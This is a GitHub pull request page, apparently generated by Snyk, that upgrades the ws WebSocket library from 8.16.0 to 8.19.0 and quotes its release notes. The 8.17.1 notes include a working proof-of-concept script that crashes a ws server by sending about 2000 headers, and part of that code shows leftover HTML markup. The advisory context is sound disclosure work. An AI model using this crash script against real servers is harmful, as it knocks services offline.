Skip to content

[Snyk] Upgrade ws from 8.16.0 to 8.19.0#70

Closed
Exkaleburx wants to merge 2 commits into
masterfrom
snyk-upgrade-33ba337d8b634397ef891693fe003368
Closed

[Snyk] Upgrade ws from 8.16.0 to 8.19.0#70
Exkaleburx wants to merge 2 commits into
masterfrom
snyk-upgrade-33ba337d8b634397ef891693fe003368

Conversation

@Exkaleburx
Copy link
Copy Markdown
Owner

snyk-top-banner

Snyk has created this PR to upgrade ws from 8.16.0 to 8.19.0.

ℹ️ Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.


  • The recommended version is 7 versions ahead of your current version.

  • The recommended version was released a month ago.

Issues fixed by the recommended upgrade:

Issue Score Exploit Maturity
high severity Denial of Service (DoS)
SNYK-JS-WS-7266574
696 Proof of Concept
Release notes
Package name: ws
  • 8.19.0 - 2026-01-05

    Features

    • Added the closeTimeout option (#2308).

    Bug fixes

    • Handled a forthcoming breaking change in Node.js core (1998485).
  • 8.18.3 - 2025-06-28

    Bug fixes

    • Fixed a spec violation where the Sec-WebSocket-Version header was not added
      to the HTTP response if the client requested version was either invalid or
      unacceptable (#2291).
  • 8.18.2 - 2025-05-03

    Bug fixes

    • Fixed an issue that, during message decompression when the maximum size was
      exceeded, led to the emission of an inaccurate error and closure of the
      connection with an improper close code (#2285).
  • 8.18.1 - 2025-02-21

    Bug fixes

    • The length of the UNIX domain socket paths in the tests has been shortened to
      make them work when run via CITGM (021f7b8).
  • 8.18.0 - 2024-07-03

    Features

    • Added support for Blob (#2229).
  • 8.17.1 - 2024-06-16

    Bug fixes

    • Fixed a DoS vulnerability (#2231).

    A request with a number of headers exceeding theserver.maxHeadersCount
    threshold could be used to crash a ws server.

    const http = require('http');
    const WebSocket = require('ws');

    const wss = new WebSocket.Server({ port: 0 }, function () {
    const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
    const headers = {};
    let count = 0;

    for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
      <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>
    
      <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>
    

    }

    headers.Connection = 'Upgrade';
    headers.Upgrade = 'websocket';
    headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
    headers['Sec-WebSocket-Version'] = '13';

    const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
    });

    request.end();
    });

    The vulnerability was reported by Ryan LaPointe in #2230.

    In vulnerable versions of ws, the issue can be mitigated in the following ways:

    1. Reduce the maximum allowed length of the request headers using the
      --max-http-header-size=size and/or the maxHeaderSize options so
      that no more headers than the server.maxHeadersCount limit can be sent.
    2. Set server.maxHeadersCount to 0 so that no limit is applied.
  • 8.17.0 - 2024-04-28

    Features

    • The WebSocket constructor now accepts the createConnection option (#2219).

    Other notable changes

    • The default value of the allowSynchronousEvents option has been changed to
      true (#2221).

    This is a breaking change in a patch release. The assumption is that the option
    is not widely used.

  • 8.16.0 - 2023-12-26
from ws GitHub release notes

Important

  • Check the changes in this PR to ensure they won't cause issues with your project.
  • This PR was automatically created by Snyk using the credentials of a real user.
  • Max score is 1000. Note that the real score may have changed since the PR was raised.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.

For more information:

snyk-bot added 2 commits February 13, 2026 14:52
Snyk has created this PR to upgrade ws from 8.16.0 to 8.19.0.

See this package in npm:
ws

See this project in Snyk:
https://app.snyk.io/org/companykobiimports/project/61d047fc-48cc-4b8c-bb33-77a20c3dfb91?utm_source=github&utm_medium=referral&page=upgrade-pr
Snyk has created this PR to upgrade ws from 8.16.0 to 8.19.0.

See this package in npm:
ws

See this project in Snyk:
https://app.snyk.io/org/wexkalebur/project/01e0bcce-4f59-41f8-a856-e8513810ebab?utm_source=github&utm_medium=referral&page=upgrade-pr
@Exkaleburx Exkaleburx closed this Feb 16, 2026
@Exkaleburx Exkaleburx deleted the snyk-upgrade-33ba337d8b634397ef891693fe003368 branch February 16, 2026 16:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants